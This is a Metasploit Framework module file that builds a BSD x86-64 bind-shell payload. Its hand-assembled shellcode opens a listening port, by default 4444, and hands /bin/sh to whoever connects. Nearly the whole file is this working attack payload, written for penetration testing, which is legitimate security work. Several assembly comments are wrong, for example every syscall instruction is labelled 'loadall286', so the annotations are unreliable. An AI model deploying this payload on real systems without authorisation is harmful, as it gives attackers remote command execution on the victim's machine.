metasploit-framework/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
module Metasploit3
CachedSize = 136
include Msf::Payload::Single
include Msf::Payload::Bsd
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'BSD x64 Shell Bind TCP',
'Description' => 'Bind an arbitrary command to an arbitrary port',
'Author' => [
'nemo <nemo[at]felinemenace.org>',
'joev'
],
'License' => MSF_LICENSE,
'Platform' => 'bsd',
'Arch' => ARCH_X86_64,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShellUnix
))
# exec payload options
register_options(
[
OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]),
Opt::LPORT(4444)
], self.class)
end
# build the shellcode payload dynamically based on the user-provided CMD
def generate
cmd = (datastore['CMD'] || '') << "\x00"
port = [datastore['LPORT'].to_i].pack('n')
call = "\xe8" + [cmd.length].pack('V')
payload =
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x61" + # add eax,0x61
"\x6A\x02" + # push byte 0x1
"\x5f" + # pop rdi
"\x6A\x01" + # push byte 0x1
"\x5e" + # pop rsi
"\x48\x31\xD2" + # xor rdx,rdx
"\x0F\x05" + # loadall286
"\x48\x89\xC7" + # mov rdi,rax
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x68" + # add eax,0x68
"\x48\x31\xF6" + # xor rsi,rsi
"\x56" + # push rsi
"\xBE\x00\x02" + port + # mov esi,0xb3150200
"\x56" + # push rsi
"\x48\x89\xE6" + # mov rsi,rsp
"\x6A\x10" + # push 0x10
"\x5A" + # pop rdx
"\x0F\x05" + # loadall286
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x6A" + # add eax,0x6a
"\x48\x31\xF6" + # xor rsi,rsi
"\x48\xFF\xC6" + # inc rsi
"\x49\x89\xFC" + # mov r12,rdi
"\x0F\x05" + # loadall286
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x1E" + # add eax,0x1e
"\x4C\x89\xE7" + # mov rdi,r12
"\x48\x89\xE6" + # mov rsi,rsp
"\x48\x89\xE2" + # mov rdx,rsp
"\x48\x83\xEA\x04" + # sub rdx,byte +0x4
"\x0F\x05" + # loadall286
"\x48\x89\xC7" + # mov rdi,rax
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x5A" + # add eax,0x5a
"\x48\x31\xF6" + # xor rsi,rsi
"\x0F\x05" + # loadall286
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x5A" + # add eax,0x5a
"\x48\xFF\xC6" + # inc rsi
"\x0F\x05" + # loadall286
"\x48\x31\xC0" + # xor rax,rax
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x3b" + # add eax,0x3b
call + # call CMD.len
cmd + # CMD
"\x48\x8b\x3c\x24" + # mov rdi, [rsp]
"\x48\x31\xD2" + # xor rdx,rdx
"\x52" + # push rdx
"\x57" + # push rdi
"\x48\x89\xE6" + # mov rsi,rsp
"\x0F\x05" # loadall286
end
end